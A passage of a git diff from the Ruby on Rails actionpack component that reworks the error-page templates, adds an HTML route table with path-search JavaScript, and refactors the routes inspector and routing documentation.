-<% unless @exception.failures.empty? %>
- <p>
- <h2>Failure reasons:</h2>
- <ol>
- <% @exception.failures.each do |route, reason| %>
- <li><code><%=h route.inspect.gsub('\\', '') %></code> failed because <%=h reason.downcase %></li>
- <% end %>
- </ol>
- </p>
-<% end %>
-<%= render template: "rescues/_trace" %>
-
-<h2>
- Routes
-</h2>
-
-<p>
- Routes match in priority from top to bottom
-</p>
-
-<p><pre><%= @routes %></pre></p>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
new file mode 100644
index 0000000000..55dd5ddc7b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
@@ -0,0 +1,32 @@
+<header>
+ <h1>Routing Error</h1>
+</header>
+<div id="container">
+ <h2><%= h @exception.message %></h2>
+ <% unless @exception.failures.empty? %>
+ <p>
+ <h2>Failure reasons:</h2>
+ <ol>
+ <% @exception.failures.each do |route, reason| %>
+ <li><code><%= route.inspect.delete('\\') %></code> failed because <%= reason.downcase %></li>
+ <% end %>
+ </ol>
+ </p>
+ <% end %>
+
+ <%= render template: "rescues/_trace" %>
+
+ <% if @routes_inspector %>
+ <h2>
+ Routes
+ </h2>
+
+ <p>
+ Routes match in priority from top to bottom
+ </p>
+
+ <%= @routes_inspector.format(ActionDispatch::Routing::HtmlTableFormatter.new(self)) %>
+ <% end %>
+
+ <%= render template: "rescues/_request_and_response" %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb
new file mode 100644
index 0000000000..f6e4dac1f3
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb
@@ -0,0 +1,11 @@
+Routing Error
+
+<%= @exception.message %>
+<% unless @exception.failures.empty? %>
+Failure reasons:
+<% @exception.failures.each do |route, reason| %>
+ - <%= route.inspect.delete('\\') %></code> failed because <%= reason.downcase %>
+<% end %>
+<% end %>
+
+<%= render template: "rescues/_trace", format: :text %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.erb
deleted file mode 100644
index a1b377f68c..0000000000
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.erb
+++ /dev/null
@@ -1,17 +0,0 @@
-<h1>
- <%=h @exception.original_exception.class.to_s %> in
- <%=h @request.parameters["controller"].capitalize if @request.parameters["controller"]%>#<%=h @request.parameters["action"] %>
-</h1>
-
-<p>
- Showing <i><%=h @exception.file_name %></i> where line <b>#<%=h @exception.line_number %></b> raised:
- <pre><code><%=h @exception.message %></code></pre>
-</p>
-
-<p>Extracted source (around line <b>#<%=h @exception.line_number %></b>):
-<pre><code><%=h @exception.source_extract %></code></pre></p>
-
-<p><%=h @exception.sub_template_message %></p>
-
-<%= render template: "rescues/_trace" %>
-<%= render template: "rescues/_request_and_response" %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
new file mode 100644
index 0000000000..c1e8b6cae3
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
@@ -0,0 +1,20 @@
+<header>
+ <h1>
+ <%= @exception.original_exception.class.to_s %> in
+ <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %>
+ </h1>
+</header>
+
+<div id="container">
+ <p>
+ Showing <i><%= @exception.file_name %></i> where line <b>#<%= @exception.line_number %></b> raised:
+ </p>
+ <pre><code><%= h @exception.message %></code></pre>
+
+ <%= render template: "rescues/_source" %>
+
+ <p><%= @exception.sub_template_message %></p>
+
+ <%= render template: "rescues/_trace" %>
+ <%= render template: "rescues/_request_and_response" %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb
new file mode 100644
index 0000000000..77bcd26726
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb
@@ -0,0 +1,7 @@
+<%= @exception.original_exception.class.to_s %> in <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %>
+
+Showing <%= @exception.file_name %> where line #<%= @exception.line_number %> raised:
+<%= @exception.message %>
+<%= @exception.sub_template_message %>
+<%= render template: "rescues/_trace", format: :text %>
+<%= render template: "rescues/_request_and_response", format: :text %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.erb
deleted file mode 100644
index 683379da10..0000000000
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<h1>Unknown action</h1>
-<p><%=h @exception.message %></p>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb
new file mode 100644
index 0000000000..259fb2bb3b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb
@@ -0,0 +1,6 @@
+<header>
+ <h1>Unknown action</h1>
+</header>
+<div id="container">
+ <h2><%= h @exception.message %></h2>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb
new file mode 100644
index 0000000000..83973addcb
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb
@@ -0,0 +1,3 @@
+Unknown action
+
+<%= @exception.message %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb b/actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb
new file mode 100644
index 0000000000..24e44f31ac
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb
@@ -0,0 +1,16 @@
+<tr class='route_row' data-helper='path'>
+ <td data-route-name='<%= route[:name] %>'>
+ <% if route[:name].present? %>
+ <%= route[:name] %><span class='helper'>_path</span>
+ <% end %>
+ </td>
+ <td data-route-verb='<%= route[:verb] %>'>
+ <%= route[:verb] %>
+ </td>
+ <td data-route-path='<%= route[:path] %>' data-regexp='<%= route[:regexp] %>'>
+ <%= route[:path] %>
+ </td>
+ <td data-route-reqs='<%= route[:reqs] %>'>
+ <%= route[:reqs] %>
+ </td>
+</tr>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
new file mode 100644
index 0000000000..5cee0b5932
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
@@ -0,0 +1,200 @@
+<% content_for :style do %>
+ #route_table {
+ margin: 0;
+ border-collapse: collapse;
+ }
+
+ #route_table thead tr {
+ border-bottom: 2px solid #ddd;
+ }
+
+ #route_table thead tr.bottom {
+ border-bottom: none;
+ }
+
+ #route_table thead tr.bottom th {
+ padding: 10px 0;
+ line-height: 15px;
+ }
+
+ #route_table tbody tr {
+ border-bottom: 1px solid #ddd;
+ }
+
+ #route_table tbody tr:nth-child(odd) {
+ background: #f2f2f2;
+ }
+
+ #route_table tbody.exact_matches,
+ #route_table tbody.fuzzy_matches {
+ background-color: LightGoldenRodYellow;
+ border-bottom: solid 2px SlateGrey;
+ }
+
+ #route_table tbody.exact_matches tr,
+ #route_table tbody.fuzzy_matches tr {
+ background: none;
+ border-bottom: none;
+ }
+
+ #route_table td {
+ padding: 4px 30px;
+ }
+
+ #path_search {
+ width: 80%;
+ font-size: inherit;
+ }
+<% end %>
+
+<table id='route_table' class='route_table'>
+ <thead>
+ <tr>
+ <th>Helper</th>
+ <th>HTTP Verb</th>
+ <th>Path</th>
+ <th>Controller#Action</th>
+ </tr>
+ <tr class='bottom'>
+ <th><%# Helper %>
+ <%= link_to "Path", "#", 'data-route-helper' => '_path',
+ title: "Returns a relative path (without the http or domain)" %> /
+ <%= link_to "Url", "#", 'data-route-helper' => '_url',
+ title: "Returns an absolute url (with the http and domain)" %>
+ </th>
+ <th><%# HTTP Verb %>
+ </th>
+ <th><%# Path %>
+ <%= search_field(:path, nil, id: 'search', placeholder: "Path Match") %>
+ </th>
+ <th><%# Controller#action %>
+ </th>
+ </tr>
+ </thead>
+ <tbody class='exact_matches' id='exact_matches'>
+ </tbody>
+ <tbody class='fuzzy_matches' id='fuzzy_matches'>
+ </tbody>
+ <tbody>
+ <%= yield %>
+ </tbody>
+</table>
+
+<script type='text/javascript'>
+ // Iterates each element through a function
+ function each(elems, func) {
+ if (!elems instanceof Array) { elems = [elems]; }
+ for (var i = 0, len = elems.length; i < len; i++) {
+ func(elems[i]);
+ }
+ }
+
+ // Sets innerHTML for an element
+ function setContent(elem, text) {
+ elem.innerHTML = text;
+ }
+
+ // Enables path search functionality
+ function setupMatchPaths() {
+ // Check if the user input (sanitized as a path) matches the regexp data attribute
+ function checkExactMatch(section, elem, value) {
+ var string = sanitizePath(value),
+ regexp = elem.getAttribute("data-regexp");
+
+ showMatch(string, regexp, section, elem);
+ }
+
+ // Check if the route path data attribute contains the user input
+ function checkFuzzyMatch(section, elem, value) {
+ var string = elem.getAttribute("data-route-path"),
+ regexp = value;
+
+ showMatch(string, regexp, section, elem);
+ }
+
+ // Display the parent <tr> element in the appropriate section when there's a match
+ function showMatch(string, regexp, section, elem) {
+ if(string.match(RegExp(regexp))) {
+ section.appendChild(elem.parentNode.cloneNode(true));
+ }
+ }
+
+ // Check if there are any matched results in a section
+ function checkNoMatch(section, defaultText, noMatchText) {
+ if (section.innerHTML === defaultText) {
+ setContent(section, defaultText + noMatchText);
+ }
+ }
+
+ // Ensure path always starts with a slash "/" and remove params or fragments
+ function sanitizePath(path) {
+ var path = path.charAt(0) == '/' ? path : "/" + path;
+ return path.replace(/\#.*|\?.*/, '');
+ }
+
+ var regexpElems = document.querySelectorAll('#route_table [data-regexp]'),
+ searchElem = document.querySelector('#search'),
+ exactMatches = document.querySelector('#exact_matches'),
+ fuzzyMatches = document.querySelector('#fuzzy_matches');
+
+ // Remove matches when no search value is present
+ searchElem.onblur = function(e) {
+ if (searchElem.value === "") {
+ setContent(exactMatches, "");
+ setContent(fuzzyMatches, "");
+ }
+ }
+
+ // On key press perform a search for matching paths
+ searchElem.onkeyup = function(e){
+ var userInput = searchElem.value,
+ defaultExactMatch = '<tr><th colspan="4">Paths Matching (' + escape(sanitizePath(userInput)) +'):</th></tr>',
+ defaultFuzzyMatch = '<tr><th colspan="4">Paths Containing (' + escape(userInput) +'):</th></tr>',
+ noExactMatch = '<tr><th colspan="4">No Exact Matches Found</th></tr>',
+ noFuzzyMatch = '<tr><th colspan="4">No Fuzzy Matches Found</th></tr>';
+
+ // Clear out results section
+ setContent(exactMatches, defaultExactMatch);
+ setContent(fuzzyMatches, defaultFuzzyMatch);
+
+ // Display exact matches and fuzzy matches
+ each(regexpElems, function(elem) {
+ checkExactMatch(exactMatches, elem, userInput);
+ checkFuzzyMatch(fuzzyMatches, elem, userInput);
+ })
+
+ // Display 'No Matches' message when no matches are found
+ checkNoMatch(exactMatches, defaultExactMatch, noExactMatch);
+ checkNoMatch(fuzzyMatches, defaultFuzzyMatch, noFuzzyMatch);
+ }
+ }
+
+ // Enables functionality to toggle between `_path` and `_url` helper suffixes
+ function setupRouteToggleHelperLinks() {
+
+ // Sets content for each element
+ function setValOn(elems, val) {
+ each(elems, function(elem) {
+ setContent(elem, val);
+ });
+ }
+
+ // Sets onClick event for each element
+ function onClick(elems, func) {
+ each(elems, function(elem) {
+ elem.onclick = func;
+ });
+ }
+
+ var toggleLinks = document.querySelectorAll('#route_table [data-route-helper]');
+ onClick(toggleLinks, function(){
+ var helperTxt = this.getAttribute("data-route-helper"),
+ helperElems = document.querySelectorAll('[data-route-name] span.helper');
+
+ setValOn(helperElems, helperTxt);
+ });
+ }
+
+ setupMatchPaths();
+ setupRouteToggleHelperLinks();
+</script>
diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb
index 5a835ae439..ddeea24bb3 100644
--- a/actionpack/lib/action_dispatch/railtie.rb
+++ b/actionpack/lib/action_dispatch/railtie.rb
@@ -6,7 +6,6 @@ module ActionDispatch
config.action_dispatch.x_sendfile_header = nil
config.action_dispatch.ip_spoofing_check = true
config.action_dispatch.show_exceptions = true
- config.action_dispatch.best_standards_support = true
config.action_dispatch.tld_length = 1
config.action_dispatch.ignore_accept_header = false
config.action_dispatch.rescue_templates = { }
@@ -17,6 +16,7 @@ module ActionDispatch
config.action_dispatch.signed_cookie_salt = 'signed cookie'
config.action_dispatch.encrypted_cookie_salt = 'encrypted cookie'
config.action_dispatch.encrypted_signed_cookie_salt = 'signed encrypted cookie'
+ config.action_dispatch.perform_deep_munge = true
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
@@ -29,6 +29,7 @@ module ActionDispatch
initializer "action_dispatch.configure" do |app|
ActionDispatch::Http::URL.tld_length = app.config.action_dispatch.tld_length
ActionDispatch::Request.ignore_accept_header = app.config.action_dispatch.ignore_accept_header
+ ActionDispatch::Request::Utils.perform_deep_munge = app.config.action_dispatch.perform_deep_munge
ActionDispatch::Response.default_charset = app.config.action_dispatch.default_charset || app.config.encoding
ActionDispatch::Response.default_headers = app.config.action_dispatch.default_headers
diff --git a/actionpack/lib/action_dispatch/request/session.rb b/actionpack/lib/action_dispatch/request/session.rb
index a05a23d953..973627f106 100644
--- a/actionpack/lib/action_dispatch/request/session.rb
+++ b/actionpack/lib/action_dispatch/request/session.rb
@@ -7,6 +7,9 @@ module ActionDispatch
ENV_SESSION_KEY = Rack::Session::Abstract::ENV_SESSION_KEY # :nodoc:
ENV_SESSION_OPTIONS_KEY = Rack::Session::Abstract::ENV_SESSION_OPTIONS_KEY # :nodoc:
+ # Singleton object used to determine if an optional param wasn't specified
+ Unspecified = Object.new
+
def self.create(store, env, default_options)
session_was = find env
session = Request::Session.new(store, env)
@@ -63,6 +66,10 @@ module ActionDispatch
@exists = nil # we haven't checked yet
end
+ def id
+ options[:id]
+ end
+
def options
Options.find @env
end
@@ -123,6 +130,15 @@ module ActionDispatch
@delegate.delete key.to_s
end
+ def fetch(key, default=Unspecified, &block)
+ load_for_read!
+ if default == Unspecified
+ @delegate.fetch(key.to_s, &block)
+ else
+ @delegate.fetch(key.to_s, default, &block)
+ end
+ end
+
def inspect
if loaded?
super
diff --git a/actionpack/lib/action_dispatch/request/utils.rb b/actionpack/lib/action_dispatch/request/utils.rb
new file mode 100644
index 0000000000..9d4f1aa3c5
--- /dev/null
+++ b/actionpack/lib/action_dispatch/request/utils.rb
@@ -0,0 +1,35 @@
+module ActionDispatch
+ class Request < Rack::Request
+ class Utils # :nodoc:
+
+ mattr_accessor :perform_deep_munge
+ self.perform_deep_munge = true
+
+ class << self
+ # Remove nils from the params hash
+ def deep_munge(hash, keys = [])
+ return hash unless perform_deep_munge
+
+ hash.each do |k, v|
+ keys << k
+ case v
+ when Array
+ v.grep(Hash) { |x| deep_munge(x, keys) }
+ v.compact!
+ if v.empty?
+ hash[k] = nil
+ ActiveSupport::Notifications.instrument("deep_munge.action_controller", keys: keys)
+ end
+ when Hash
+ deep_munge(v, keys)
+ end
+ keys.pop
+ end
+
+ hash
+ end
+ end
+ end
+ end
+end
+
diff --git a/actionpack/lib/action_dispatch/routing.rb b/actionpack/lib/action_dispatch/routing.rb
index d55eb8109a..ce03164ca9 100644
--- a/actionpack/lib/action_dispatch/routing.rb
+++ b/actionpack/lib/action_dispatch/routing.rb
@@ -1,6 +1,7 @@
# encoding: UTF-8
require 'active_support/core_ext/object/to_param'
require 'active_support/core_ext/regexp'
+require 'active_support/dependencies/autoload'
module ActionDispatch
# The routing module provides URL rewriting in native Ruby. It's a way to
@@ -11,7 +12,7 @@ module ActionDispatch
# Think of creating routes as drawing a map for your requests. The map tells
# them where to go based on some predefined pattern:
#
- # AppName::Application.routes.draw do
+ # Rails.application.routes.draw do
# Pattern 1 tells some request to go to one place
# Pattern 2 tell them to go to another
# ...
@@ -69,6 +70,22 @@ module ActionDispatch
# <tt>Routing::Mapper::Scoping#namespace</tt>, and
# <tt>Routing::Mapper::Scoping#scope</tt>.
#
+ # == Non-resourceful routes
+ #
+ # For routes that don't fit the <tt>resources</tt> mold, you can use the HTTP helper
+ # methods <tt>get</tt>, <tt>post</tt>, <tt>patch</tt>, <tt>put</tt> and <tt>delete</tt>.
+ #
+ # get 'post/:id' => 'posts#show'
+ # post 'post/:id' => 'posts#create_comment'
+ #
+ # If your route needs to respond to more than one HTTP method (or all methods) then using the
+ # <tt>:via</tt> option on <tt>match</tt> is preferable.
+ #
+ # match 'post/:id' => 'posts#show', via: [:get, :post]
+ #
+ # Now, if you POST to <tt>/posts/:id</tt>, it will route to the <tt>create_comment</tt> action. A GET on the same
+ # URL will route to the <tt>show</tt> action.
+ #
# == Named routes
#
# Routes can be named by passing an <tt>:as</tt> option,
@@ -78,7 +95,7 @@ module ActionDispatch
# Example:
#
# # In routes.rb
- # match '/login' => 'accounts#login', as: 'login'
+ # get '/login' => 'accounts#login', as: 'login'
#
# # With render, redirect_to, tests, etc.
# redirect_to login_url
@@ -104,9 +121,9 @@ module ActionDispatch
#
# # In routes.rb
# controller :blog do
- # match 'blog/show' => :list
- # match 'blog/delete' => :delete
- # match 'blog/edit/:id' => :edit
+ # get 'blog/show' => :list
+ # get 'blog/delete' => :delete
+ # get 'blog/edit/:id' => :edit
# end
#
# # provides named routes for show, delete, and edit
@@ -116,7 +133,7 @@ module ActionDispatch
#
# Routes can generate pretty URLs. For example:
#
- # match '/articles/:year/:month/:day' => 'articles#find_by_id', constraints: {
+ # get '/articles/:year/:month/:day' => 'articles#find_by_id', constraints: {
# year: /\d{4}/,
# month: /\d{1,2}/,
# day: /\d{1,2}/
@@ -131,7 +148,7 @@ module ActionDispatch
# You can specify a regular expression to define a format for a parameter.
#
# controller 'geocode' do
- # match 'geocode/:postalcode' => :show, constraints: {
+ # get 'geocode/:postalcode' => :show, constraints: {
# postalcode: /\d{5}(-\d{4})?/
# }
#
@@ -139,13 +156,13 @@ module ActionDispatch
# expression modifiers:
#
# controller 'geocode' do
- # match 'geocode/:postalcode' => :show, constraints: {
+ # get 'geocode/:postalcode' => :show, constraints: {
# postalcode: /hx\d\d\s\d[a-z]{2}/i
# }
# end
#
# controller 'geocode' do
- # match 'geocode/:postalcode' => :show, constraints: {
+ # get 'geocode/:postalcode' => :show, constraints: {
# postalcode: /# Postcode format
# \d{5} #Prefix
# (-\d{4})? #Suffix
@@ -153,73 +170,21 @@ module ActionDispatch
# }
# end
#
- # Using the multiline match modifier will raise an +ArgumentError+.
+ # Using the multiline modifier will raise an +ArgumentError+.
# Encoding regular expression modifiers are silently ignored. The
# match will always use the default encoding or ASCII.
#
- # == Default route
- #
- # Consider the following route, which you will find commented out at the
- # bottom of your generated <tt>config/routes.rb</tt>:
- #
- # match ':controller(/:action(/:id))(.:format)'
- #
- # This route states that it expects requests to consist of a
- # <tt>:controller</tt> followed optionally by an <tt>:action</tt> that in
- # turn is followed optionally by an <tt>:id</tt>, which in turn is followed
- # optionally by a <tt>:format</tt>.
- #
- # Suppose you get an incoming request for <tt>/blog/edit/22</tt>, you'll end
- # up with:
- #
- # params = { controller: 'blog',
- # action: 'edit',
- # id: '22'
- # }
- #
- # By not relying on default routes, you improve the security of your
- # application since not all controller actions, which includes actions you
- # might add at a later time, are exposed by default.
- #
- # == HTTP Methods
- #
- # Using the <tt>:via</tt> option when specifying a route allows you to
- # restrict it to a specific HTTP method. Possible values are <tt>:post</tt>,
- # <tt>:get</tt>, <tt>:patch</tt>, <tt>:put</tt>, <tt>:delete</tt> and
- # <tt>:any</tt>. If your route needs to respond to more than one method you
- # can use an array, e.g. <tt>[ :get, :post ]</tt>. The default value is
- # <tt>:any</tt> which means that the route will respond to any of the HTTP
- # methods.
- #
- # match 'post/:id' => 'posts#show', via: :get
- # match 'post/:id' => 'posts#create_comment', via: :post
- #
- # Now, if you POST to <tt>/posts/:id</tt>, it will route to the <tt>create_comment</tt> action. A GET on the same
- # URL will route to the <tt>show</tt> action.
- #
- # === HTTP helper methods
- #
- # An alternative method of specifying which HTTP method a route should respond to is to use the helper
- # methods <tt>get</tt>, <tt>post</tt>, <tt>patch</tt>, <tt>put</tt> and <tt>delete</tt>.
- #
- # get 'post/:id' => 'posts#show'
- # post 'post/:id' => 'posts#create_comment'
- #
- # This syntax is less verbose and the intention is more apparent to someone else reading your code,
- # however if your route needs to respond to more than one HTTP method (or all methods) then using the
- # <tt>:via</tt> option on <tt>match</tt> is preferable.
- #
# == External redirects
#
# You can redirect any path to another path using the redirect helper in your router:
#
- # match "/stories" => redirect("/posts")
+ # get "/stories" => redirect("/posts")
#
# == Unicode character routes
#
# You can specify unicode character routes in your router:
#
- # match "ã“ã‚“ã«ã¡ã¯" => "welcome#index"
+ # get "ã“ã‚“ã«ã¡ã¯" => "welcome#index"
#
# == Routing to Rack Applications
#
@@ -227,7 +192,7 @@ module ActionDispatch
# index action in the PostsController, you can specify any Rack application
# as the endpoint for a matcher:
#
- # match "/application.js" => Sprockets
+ # get "/application.js" => Sprockets
#
# == Reloading routes
#
@@ -282,11 +247,13 @@ module ActionDispatch
# Target specific controllers by prefixing the command with <tt>CONTROLLER=x</tt>.
#
module Routing
- autoload :Mapper, 'action_dispatch/routing/mapper'
- autoload :RouteSet, 'action_dispatch/routing/route_set'
- autoload :RoutesProxy, 'action_dispatch/routing/routes_proxy'
- autoload :UrlFor, 'action_dispatch/routing/url_for'
- autoload :PolymorphicRoutes, 'action_dispatch/routing/polymorphic_routes'
+ extend ActiveSupport::Autoload
+
+ autoload :Mapper
+ autoload :RouteSet
+ autoload :RoutesProxy
+ autoload :UrlFor
+ autoload :PolymorphicRoutes
SEPARATORS = %w( / . ? ) #:nodoc:
HTTP_METHODS = [:get, :head, :post, :patch, :put, :delete, :options] #:nodoc:
diff --git a/actionpack/lib/action_dispatch/routing/endpoint.rb b/actionpack/lib/action_dispatch/routing/endpoint.rb
new file mode 100644
index 0000000000..88aa13c3e8
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/endpoint.rb
@@ -0,0 +1,10 @@
+module ActionDispatch
+ module Routing
+ class Endpoint # :nodoc:
+ def dispatcher?; false; end
+ def redirect?; false; end
+ def matches?(req); true; end
+ def app; self; end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/routing/inspector.rb b/actionpack/lib/action_dispatch/routing/inspector.rb
index d7412daec2..df5ebb6751 100644
--- a/actionpack/lib/action_dispatch/routing/inspector.rb
+++ b/actionpack/lib/action_dispatch/routing/inspector.rb
@@ -1,25 +1,19 @@
require 'delegate'
+require 'active_support/core_ext/string/strip'
module ActionDispatch
module Routing
class RouteWrapper < SimpleDelegator
def endpoint
- rack_app ? rack_app.inspect : "#{controller}##{action}"
+ app.dispatcher? ? "#{controller}##{action}" : rack_app.inspect
end
def constraints
requirements.except(:controller, :action)
end
- def rack_app(app = self.app)
- @rack_app ||= begin
- class_name = app.class.name.to_s
- if class_name == "ActionDispatch::Routing::Mapper::Constraints"
- rack_app(app.app)
- elsif ActionDispatch::Routing::Redirect === app || class_name !~ /^ActionDispatch::Routing/
- app
- end
- end
+ def rack_app
+ app.app
end
def verb
@@ -34,10 +28,27 @@ module ActionDispatch
super.to_s
end
+ def regexp
+ __getobj__.path.to_regexp
+ end
+
+ def json_regexp
+ str = regexp.inspect.
+ sub('\\A' , '^').
+ sub('\\Z' , '$').
+ sub('\\z' , '$').
+ sub(/^\// , '').
+ sub(/\/[a-z]*$/ , '').
+ gsub(/\(\?#.+\)/ , '').
+ gsub(/\(\?-\w+:/ , '(').
+ gsub(/\s/ , '')
+ Regexp.new(str).source
+ end
+
def reqs
@reqs ||= begin
reqs = endpoint
- reqs += " #{constraints.to_s}" unless constraints.empty?
+ reqs += " #{constraints}" unless constraints.empty?
reqs
end
end
@@ -51,42 +62,66 @@ module ActionDispatch
end
def internal?
- controller =~ %r{^rails/info|^rails/welcome} || path =~ %r{^#{Rails.application.config.assets.prefix}}
+ controller.to_s =~ %r{\Arails/(info|mailers|welcome)} || path =~ %r{\A#{Rails.application.config.assets.prefix}\z}
end
def engine?
- rack_app && rack_app.respond_to?(:routes)
+ rack_app.respond_to?(:routes)
end
end
##
# This class is just used for displaying route information when someone
- # executes `rake routes`. People should not use this class.
+ # executes `rake routes` or looks at the RoutingError page.
+ # People should not use this class.
class RoutesInspector # :nodoc:
- def initialize
- @engines = Hash.new
+ def initialize(routes)
+ @engines = {}
+ @routes = routes
end
- def format(all_routes, filter = nil)
- if filter
- all_routes = all_routes.select{ |route| route.defaults[:controller] == filter }
+ def format(formatter, filter = nil)
+ routes_to_display = filter_routes(filter)
+
+ routes = collect_routes(routes_to_display)
+
+ if routes.none?
+ formatter.no_routes
+ return formatter.result
end
- routes = collect_routes(all_routes)
+ formatter.header routes
+ formatter.section routes
- formatted_routes(routes) +
- formatted_routes_for_engines
+ @engines.each do |name, engine_routes|
+ formatter.section_title "Routes for #{name}"
+ formatter.section engine_routes
+ end
+
+ formatter.result
+ end
+
+ private
+
+ def filter_routes(filter)
+ if filter
+ @routes.select { |route| route.defaults[:controller] == filter }
+ else
+ @routes
+ end
end
def collect_routes(routes)
- routes = routes.collect do |route|
+ routes.collect do |route|
RouteWrapper.new(route)
- end.reject do |route|
- route.internal?
- end.collect do |route|
+ end.reject(&:internal?).collect do |route|
collect_engine_routes(route)
- {:name => route.name, :verb => route.verb, :path => route.path, :reqs => route.reqs }
+ { name: route.name,
+ verb: route.verb,
+ path: route.path,
+ reqs: route.reqs,
+ regexp: route.json_regexp }
end
end
@@ -100,21 +135,97 @@ module ActionDispatch
@engines[name] = collect_routes(routes.routes)
end
end
+ end
+
+ class ConsoleFormatter
+ def initialize
+ @buffer = []
+ end
+
+ def result
+ @buffer.join("\n")
+ end
- def formatted_routes_for_engines
- @engines.map do |name, routes|
- ["\nRoutes for #{name}:"] + formatted_routes(routes)
- end.flatten
+ def section_title(title)
+ @buffer << "\n#{title}:"
end
- def formatted_routes(routes)
- name_width = routes.map{ |r| r[:name].length }.max
- verb_width = routes.map{ |r| r[:verb].length }.max
- path_width = routes.map{ |r| r[:path].length }.max
+ def section(routes)
+ @buffer << draw_section(routes)
+ end
- routes.map do |r|
- "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}"
+ def header(routes)
+ @buffer << draw_header(routes)
+ end
+
+ def no_routes
+ @buffer << <<-MESSAGE.strip_heredoc
+ You don't have any routes defined!
+
+ Please add some routes in config/routes.rb.
+
+ For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html.
+ MESSAGE
+ end
+
+ private
+ def draw_section(routes)
+ header_lengths = ['Prefix', 'Verb', 'URI Pattern'].map(&:length)
+ name_width, verb_width, path_width = widths(routes).zip(header_lengths).map(&:max)
+
+ routes.map do |r|
+ "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}"
+ end
+ end
+
+ def draw_header(routes)
+ name_width, verb_width, path_width = widths(routes)
+
+ "#{"Prefix".rjust(name_width)} #{"Verb".ljust(verb_width)} #{"URI Pattern".ljust(path_width)} Controller#Action"
+ end
+
+ def widths(routes)
+ [routes.map { |r| r[:name].length }.max || 0,
+ routes.map { |r| r[:verb].length }.max || 0,
+ routes.map { |r| r[:path].length }.max || 0]
end
+ end
+
+ class HtmlTableFormatter
+ def initialize(view)
+ @view = view
+ @buffer = []
+ end
+
+ def section_title(title)
+ @buffer << %(<tr><th colspan="4">#{title}</th></tr>)
+ end
+
+ def section(routes)
+ @buffer << @view.render(partial: "routes/route", collection: routes)
+ end
+
+ # the header is part of the HTML page, so we don't construct it here.
+ def header(routes)
+ end
+
+ def no_routes
+ @buffer << <<-MESSAGE.strip_heredoc
+ <p>You don't have any routes defined!</p>
+ <ul>
+ <li>Please add some routes in <tt>config/routes.rb</tt>.</li>
+ <li>
+ For more information about routes, please see the Rails guide
+ <a href="http://guides.rubyonrails.org/routing.html">Rails Routing from the Outside In</a>.
+ </li>
+ </ul>
+ MESSAGE
+ end
+
+ def result
+ @view.raw @view.render(layout: "routes/table") {
+ @view.raw @buffer.join("\n")
+ }
end
end
end
diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb
index 3c99932e72..5040aa82b2 100644
--- a/actionpack/lib/action_dispatch/routing/mapper.rb
+++ b/actionpack/lib/action_dispatch/routing/mapper.rb
@@ -2,261 +2,361 @@ require 'active_support/core_ext/hash/except'
require 'active_support/core_ext/hash/reverse_merge'
require 'active_support/core_ext/hash/slice'
require 'active_support/core_ext/enumerable'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/module/remove_method'
+require 'active_support/core_ext/string/filters'
require 'active_support/inflector'
require 'action_dispatch/routing/redirection'
+require 'action_dispatch/routing/endpoint'
+require 'active_support/deprecation'
module ActionDispatch
module Routing
class Mapper
- class Constraints #:nodoc:
- def self.new(app, constraints, request = Rack::Request)
- if constraints.any?
- super(app, constraints, request)
- else
- app
- end
- end
+ URL_OPTIONS = [:protocol, :subdomain, :domain, :host, :port]
+ class Constraints < Endpoint #:nodoc:
attr_reader :app, :constraints
- def initialize(app, constraints, request)
